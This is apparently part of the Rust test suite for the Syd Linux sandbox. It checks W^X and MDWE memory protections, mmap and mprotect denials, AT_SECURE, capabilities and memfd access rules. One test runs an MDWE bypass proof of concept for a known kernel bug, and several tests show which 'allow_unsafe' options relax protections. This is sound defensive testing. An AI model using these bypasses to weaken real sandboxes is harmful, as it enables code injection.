fn test_syd_mdwe_mprotect_write_to_exec() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mprotect_write_to_exec")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills PROT_READ|PROT_EXEC mapping of a previously PROT_WRITE region.
fn test_syd_mdwe_mprotect_write_to_read_exec() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mprotect_write_to_read_exec")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// Check MDWE protections across mprotect boundary with syd-mdwe(1).
fn test_syd_mdwe_mprotect_exe() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
if !build_mprotect_exe() {
eprintln!("Failed to build mprotect code, skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
let status = Command::new(&*SYD_MDWE)
.arg("./mprotect")
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// Test syd-mdwe(1) with LuaJIT.
fn test_syd_mdwe_mprotect_jit() -> TestResult {
skip_if_mips!(); // No W^X.
skip_unless_available!("luajit", "sh");
// Check if JIT is available for current architecture.
let status = Command::new("sh")
.arg("-cex")
.arg("luajit -jon -e x=1")
.status()
.expect("check luajit");
if !status.success() {
eprintln!("LuaJIT cannot compile for current architecture, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip rest of the tests.
}
let status = Command::new(&*SYD_MDWE)
.arg("luajit")
.arg("-e")
.arg("for i=1,1e5 do local a=i*2 end")
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) allows executable stack.
fn test_syd_mdwe_enforce_execstack_nested_routine() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_32bin_64host!();
if !check_nested_routines() {
// Nested routines not supported.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = Command::new(&*SYD_MDWE)
.arg("./nested")
.arg("0")
.status()
.expect("execute syd-mdwe");
assert_status_ok!(status);
Ok(())
}
// syd-mdwe(1) kills self modifying code using executable stack.
fn test_syd_mdwe_enforce_execstack_self_modifying() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_32bin_64host!();
if !check_self_modifying_xs() {
// Self-modifying code not supported on this arch.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = Command::new(&*SYD_MDWE)
.arg("./selfmod")
.arg("0")
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills self modifying code using mprotect(2).
fn test_syd_mdwe_enforce_mprotect_self_modifying() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_32bin_64host!();
if !check_self_modifying_mp() {
// Self-modifying code not supported on this arch.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = Command::new(&*SYD_MDWE)
.arg("./selfmod")
.arg("0")
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
fn test_syd_log_proc_setname_read() -> TestResult {
// create pipe to read syd logs.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let procnm = b"hello!\xE2\x98\xBA\xF0\x9F\x92\xA9\xE2\x9C\x8C\xE2\x9D\xA4";
let expect = OsStr::from_bytes(&procnm[..15]);
let procnm = OsStr::from_bytes(procnm);
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("log/verbose:2")
.do_("set_name", [procnm])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_ok!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
match reader
.lines()
.filter(|line| {
line.as_ref()
.map(|l| l.contains("\"change_process_name\""))
.unwrap_or(false)
})
.last()
{
None => {
eprintln!("read nothing, expected process name log entry!");
return Err(TestError("EOF".to_string()));
}
Some(Ok(line)) => {
eprint!("read access violation:\n{line}");
let data: Value = serde_json::from_str(&line).expect("invalid JSON");
let name = data
.get("name")
.and_then(|v| v.as_str())
.expect("missing name field");
let real = HEXLOWER_PERMISSIVE
.decode(name.as_bytes())
.expect("invalid HEX");
let real = OsStr::from_bytes(real.as_slice());
eprintln!("syd logged process name `{name}' -> `{real:?}'.");
eprintln!(
"original name argument {procnm:?} is truncated to {} bytes.",
real.len()
);
if *real != *expect {
return Err(TestError(format!("name mismatch, expected `{expect:?}'")));
}
}
Some(Err(e)) => {
// Error reading from the buffer.
eprintln!("Error reading from pipe: {e}");
return Err(TestError(format!("Error reading from pipe: {e}")));
}
}
Ok(())
}
fn test_syd_log_proc_setname_filter() -> TestResult {
// create pipe to read syd logs.
let (fd_rd, fd_rw) = match pipe() {
Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
};
let status = syd()
.log("warn")
.log_fd(fd_rw.as_raw_fd())
.p("off")
.m("log/verbose:0")
.do_("set_name", ["3"])
.status()
.expect("execute syd");
drop(fd_rw);
assert_status_ok!(status);
// Convert raw file descriptor to File, then to BufReader
let file = File::from(fd_rd);
let reader = BufReader::new(file);
match reader
.lines()
.filter(|f| {
f.as_ref()
.map(|l| l.contains("\"access\""))
.unwrap_or(false)
})
.last()
{
None => {
eprintln!("read nothing!");
eprintln!("process set name filtered as expected.");
}
Some(Ok(line)) => {
eprint!("unexpected read:\n{line}");
return Err(TestError("failed to filter process set name".to_string()));
}
Some(Err(e)) => {
// Error reading from the buffer
eprintln!("Error reading from pipe: {e}");
return Err(TestError(format!("Error reading from pipe: {e}")));
}
}
Ok(())
}
fn test_syd_cap_basic() -> TestResult {
skip_unless_trusted!();
let status = Command::new(&*SYD_CAP).status().expect("execute syd-cap");
assert_status_ok!(status);
let status = syd().p("off").arg(&*SYD_CAP).status().expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_cap_unshare() -> TestResult {
skip_unless_trusted!();
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_ptrace:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_chown:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_time:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_bind:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_socket:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_syslog:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("unshare/user:1")
.arg(&*SYD_CAP)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if AT_SECURE is set by default.
fn test_syd_set_at_secure_default() -> TestResult {
let status = syd()
.p("off")
.argv([&*SYD_AUX, "-s"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if AT_SECURE can be disabled with trace/allow_unsafe_exec_libc:1.
fn test_syd_set_at_secure_unsafe() -> TestResult {
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_libc:1")
.argv([&*SYD_AUX, "-s"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Check if AT_SECURE is off outside Syd.
fn test_syd_set_at_secure_off() -> TestResult {
eprintln!("+ syd-aux -s");
let status = Command::new(&*SYD_AUX)
.arg("-s")
.status()
.expect("execute syd-aux");
assert_status_not_ok!(status);
Ok(())
}
// Check if we're able to set AT_SECURE regardless of the number of
// arguments.
fn test_syd_set_at_secure_max() -> TestResult {
let mut syd = syd();
syd.p("off");
syd.argv([&*SYD_AUX, "-s"]);
let lim = sysconf(SysconfVar::ARG_MAX)?.unwrap_or(0x20000);
eprintln!("Maximum length of argument for exec is {lim}.");
for _ in 0..lim.min(0x3000) {
syd.arg("3");
}
let status = syd.status().expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check if sysinfo(2) return is randomized.
fn test_syd_randomize_sysinfo() -> TestResult {
skip_unless_available!("cmp", "tee");
let syd_info = &SYD_INFO.to_string();
let status = syd()
.p("off")
.argv(["sh", "-cex"])
.arg(format!(
r##"
{syd_info} | tee test-1.info
{syd_info} | tee test-2.info
exec cmp test-1.info test-2.info
"##,
))
.status()
.expect("execute syd");
assert_status_code!(status, 1);
Ok(())
}
// Check mmap: PROT_READ|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_read_exec_with_map_anonymous() -> TestResult {
skip_if_mips!(); // No W^X.
let status = syd()
.p("off")
.do_("mmap_prot_read_exec_with_map_anonymous", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// This restriction may be relaxed with allow_unsafe_exec_memory:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mmap_prot_read_exec_with_map_anonymous", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check mmap: PROT_WRITE|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_write_exec_with_map_anonymous() -> TestResult {
skip_if_mips!(); // No W^X.
let status = syd()
.p("off")
.do_("mmap_prot_write_exec_with_map_anonymous", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// This restriction may be relaxed with allow_unsafe_exec_memory:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mmap_prot_write_exec_with_map_anonymous", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
/// Check mmap: PROT_READ|PROT_EXEC with backing file.
fn test_syd_mmap_prot_read_exec_with_backing_file() -> TestResult {
skip_if_mips!(); // No W^X.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/mmap")
.do_("mmap_prot_read_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// We can allow access to the file specifically.
// This fails with EACCES due to restrict_stack parsing ELF on mmap boundary.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/mmap")
.do_("mmap_prot_read_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// We can allow access to the file specifically.
// allow_unsafe_exec_stack:1 skips ELF parsing at mmap boundary.
// This fails with EACCES due to restrict_memory denying writable FD.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/mmap")
.m("trace/allow_unsafe_exec_stack:1")
.do_("mmap_prot_read_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// We can allow access to the file specifically.
// allow_unsafe_exec_memory:1 skips file writability check.
// allow_unsafe_exec_stack:1 skips ELF parsing at mmap boundary.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/mmap")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.do_("mmap_prot_read_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
/// Check mmap: PROT_WRITE|PROT_EXEC with backing file.
fn test_syd_mmap_prot_write_exec_with_backing_file() -> TestResult {
skip_if_mips!(); // No W^X.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/mmap")
.do_("mmap_prot_write_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/mmap")
.do_("mmap_prot_write_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// We can allow access to the file specifically.
// This will still get killed without allow_unsafe_exec_memory:1
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/mmap")
.do_("mmap_prot_write_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// We can allow access to the file specifically.
// This fails with EACCES due to restrict_stack parsing ELF on mmap boundary.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/mmap")
.do_("mmap_prot_write_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// We can allow access to the file specifically.
// allow_unsafe_exec_stack:1 skips ELF parsing at mmap boundary.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/mmap")
.do_("mmap_prot_write_exec_with_backing_file", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
/// Check mmap: PROT_READ|PROT_EXEC with a writable FD, then try modifying the contents.
fn test_syd_mmap_prot_exec_rdwr_fd() -> TestResult {
skip_if_mips!(); // No W^X.
// Layer 1: Memory-protection seccomp filters
let status = syd()
.p("off")
.do_("mmap_prot_exec_rdwr_fd", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// Layer 2: restrict stack parsing ELF.
// The data used by the test is not valid ELF.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mmap_prot_exec_rdwr_fd", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.do_("mmap_prot_exec_rdwr_fd", NONE)
.status()
.expect("execute syd");
assert_status_code!(status, EOWNERDEAD);
// Check MDWE without our seccomp filters.
// Ignore error ENOSYS as MDWE may not be supported.
let status = syd()
.env("SYD_TEST_DO_MDWE", "YesPlease")
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.do_("mmap_prot_exec_rdwr_fd", NONE)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
// FIXME: This breaks W^X!
// See: https://bugzilla.kernel.org/show_bug.cgi?id=219227
assert_status_code!(status, EOWNERDEAD);
} else {
eprintln!("MDWE is not supported, continuing...");
}
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+/**/mmap")
.do_("mmap_prot_exec_rdwr_fd", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Test if mmap(NULL, MAP_FIXED) is killed.
fn test_syd_mmap_fixed_null() -> TestResult {
skip_if_mips!(); // No W^X.
let status = syd()
.p("off")
.do_("mmap_fixed_null", NONE)
.status()
.expect("execute syd");
if cfg!(target_arch = "s390x") {
// old mmap:
// TODO: Deny old mmap with ENOSYS.
// Params are pointed to by arg[0], offset is in bytes.
// This syscall bypasses our seccomp filter,
// and there is nothing we can do about it due to
// the pointer indirection involved.
assert_status_permission_denied!(status);
} else {
assert_status_sigsys!(status);
}
Ok(())
}
fn test_syd_mprotect_read_to_exec() -> TestResult {
skip_if_mips!(); // No W^X.
// mprotect PROT_EXEC a previously PROT_READ region is killed.
let status = syd()
.p("off")
.do_("mprotect_read_to_exec", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// This restriction may be relaxed with allow_unsafe_exec_memory:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mprotect_read_to_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mprotect_read_to_write_exec() -> TestResult {
skip_if_mips!(); // No W^X.
// mprotect PROT_WRITE|PROT_EXEC a previously PROT_READ region is killed.
let status = syd()
.p("off")
.do_("mprotect_read_to_write_exec", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// This restriction may be relaxed with allow_unsafe_exec_memory:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mprotect_read_to_write_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mprotect_write_to_exec() -> TestResult {
skip_if_mips!(); // No W^X.
// mprotect PROT_EXEC a previously PROT_WRITE region is killed.
let status = syd()
.p("off")
.do_("mprotect_write_to_exec", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// This restriction may be relaxed with allow_unsafe_exec_memory:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mprotect_write_to_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mprotect_write_to_read_exec() -> TestResult {
skip_if_mips!(); // No W^X.
// mprotect PROT_READ|PROT_EXEC a previously PROT_WRITE region is killed.
let status = syd()
.p("off")
.do_("mprotect_write_to_read_exec", NONE)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// This restriction may be relaxed with allow_unsafe_exec_memory:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.do_("mprotect_write_to_read_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check MDWE protections across mprotect boundary.
fn test_syd_mprotect_exe() -> TestResult {
skip_if_32bin_64host!();
skip_if_mips!(); // No W^X.
skip_unless_available!("cc", "sh");
if !build_mprotect_exe() {
eprintln!("Failed to build mprotect code, skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
// Default is kill process.
let status = syd()
.p("off")
.argv(["./mprotect"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// allow_unsafe_exec_memory:1 can relax this restriction.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.argv(["./mprotect"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Test if MDWE can be relaxed as expected.
fn test_syd_mprotect_jit() -> TestResult {
skip_if_mips!(); // No W^X.
skip_unless_available!("luajit", "sh");
// Check if JIT is available for current architecture.
let status = Command::new("sh")
.arg("-cex")
.arg("luajit -jon -e x=1")
.status()
.expect("check luajit");
if !status.success() {
eprintln!("LuaJIT cannot compile for current architecture, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip rest of the tests.
}
// Execute with default restrictions.
// Expect LuaJIT to to be killed.
let status = syd()
.p("off")
.argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// Relax restrictions.
// Expect LuaJIT to succeed.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mdwe_bypass_linux_bug_219227() -> TestResult {
skip_unless_available!("cp", "sh", "true");
if !build_mdwe_bypass() {
eprintln!("Failed to build MDWE bypass code, skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
let syd_x = &SYD_X.to_string();
let status = syd()
.env("SYD_TEST_SKIP_MDWE", "YesPlease")
.p("off")
.arg("sh")
.arg("-cex")
.arg(format!(
"
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
))
.status()
.expect("execute syd");
// restrict-stack denies mmap for empty file with EACCES.
assert_status_access_denied!(status);
let status = syd()
.env("SYD_TEST_SKIP_MDWE", "YesPlease")
.p("off")
.m("trace/allow_unsafe_exec_stack:1")
.arg("sh")
.arg("-cex")
.arg(format!(
"
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
))
.status()
.expect("execute syd");
// restrict-memory denies mapping writable files
// as PROT_READ|PROT_EXEC as of version 3.37.0.
assert_status_access_denied!(status);
let status = syd()
.env("SYD_TEST_SKIP_MDWE", "YesPlease")
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.arg("sh")
.arg("-cex")
.arg(format!(
"
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
))
.status()
.expect("execute syd");
// Without restrict-{memory,stack} POC should work.
assert_status_code!(status, 127);
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.arg("sh")
.arg("-cex")
.arg(format!(
"
test -x ./mdwe
{syd_x} ./mdwe
: > ./mmap
exec ./mdwe <<EOF
exit 127
EOF
"
))
.status()
.expect("execute syd");
// Without restrict-{memory,stack} and
// Without SYD_TEST_SKIP_MDWE,
// POC must not work because MDWE must deny this.
// Known bug: https://bugzilla.kernel.org/show_bug.cgi?id=219227
fixup!(status.code().unwrap_or(127) == EACCES, "status:{status:?}");
Ok(())
}
fn test_syd_mfd_exec_default() -> TestResult {
skip_if_32bin_64host!();
let mut flags = MFdFlags::empty();
if *syd::config::HAVE_MFD_NOEXEC_SEAL {
flags.insert(MFdFlags::MFD_EXEC);
}
let flags = flags.bits().to_string();
let status = syd()
.p("off")
.do_("mfd_exec", ["mfd_exec", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_exec_unsafe() -> TestResult {
skip_if_32bin_64host!();
let mut flags = MFdFlags::empty();
if *syd::config::HAVE_MFD_NOEXEC_SEAL {
flags.insert(MFdFlags::MFD_EXEC);
}
let flags = flags.bits().to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_memfd:1")
.do_("mfd_exec", ["mfd_exec", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_create_1() -> TestResult {
// Sandboxing is off, memfd_create without MFD_EXEC is ok.
let status = syd()
.p("off")
.do_("mfd_create", ["mfd_create", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_create_2() -> TestResult {
// Deny memfd creation by name.
let status = syd()
.p("off")
.m("sandbox/create:on")
.m("allow/create+/***")
.m("deny/create+!memfd:mfd_create")
.do_("mfd_create", ["mfd_create", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_create_3() -> TestResult {
// Deny memfd creation by glob.
let status = syd()
.p("off")
.m("sandbox/create:on")
.m("allow/create+/***")
.m("deny/create+!memfd:mfd_cr?a*")
.do_("mfd_create", ["mfd_create", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_create_4() -> TestResult {
// Deny hugetlb memfd creation by name.
let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
let status = syd()
.p("off")
.m("sandbox/create:on")
.m("allow/create+/***")
.m("deny/create+!memfd-hugetlb:mfd_create")
.do_("mfd_create", ["mfd_create", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_create_5() -> TestResult {
// Deny hugetlb memfd creation by glob.
let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
let status = syd()
.p("off")
.m("sandbox/create:on")
.m("allow/create+/***")
.m("deny/create+!memfd-hugetlb:mfd_cr?a*")
.do_("mfd_create", ["mfd_create", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_exec_1() -> TestResult {
// Sandboxing is off memfd_create with MFD_EXEC
// is ok trace/allow_unsafe_memfd:1.
let flags = MFdFlags::MFD_EXEC.bits().to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_memfd:1")
.do_("mfd_create", ["mfd_create", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
// ENOSYS: memfd_create(2) is not supported.
// EINVAL: MFD_EXEC is not supported.
if !matches!(code, ENOSYS | EINVAL) {
assert_status_ok!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_exec_2() -> TestResult {
// Deny executable memfd creation by name
// with trace/allow_unsafe_memfd:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_memfd:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+!memfd:mfd_create")
.do_("mfd_create", ["mfd_create", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_exec_3() -> TestResult {
// Deny memfd creation by glob
// with trace/allow_unsafe_memfd:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_memfd:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+!memfd:mfd_cr?a*")
.do_("mfd_create", ["mfd_create", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_exec_4() -> TestResult {
// Deny executable hugetlb memfd creation by name
// with trace/allow_unsafe_memfd:1
let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_memfd:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+!memfd-hugetlb:mfd_create")
.do_("mfd_create", ["mfd_create", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
// ENOSYS: memfd_create(2) is not supported.
// EINVAL: MFD_HUGETLB is not supported.
if !matches!(code, ENOSYS | EINVAL) {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_exec_5() -> TestResult {
// Deny memfd hugetlb creation by glob
// with trace/allow_unsafe_memfd:1
let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_memfd:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("deny/exec+!memfd-hugetlb:mfd_cr?a*")
.do_("mfd_create", ["mfd_create", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
// ENOSYS: memfd_create(2) is not supported.
// EINVAL: MFD_HUGETLB is not supported.
if !matches!(code, ENOSYS | EINVAL) {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_ftruncate_1() -> TestResult {
// Sandboxing is off, memfd_create without MFD_EXEC is ok.
let status = syd()
.p("off")
.do_("mfd_ftruncate", ["mfd_ftruncate", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
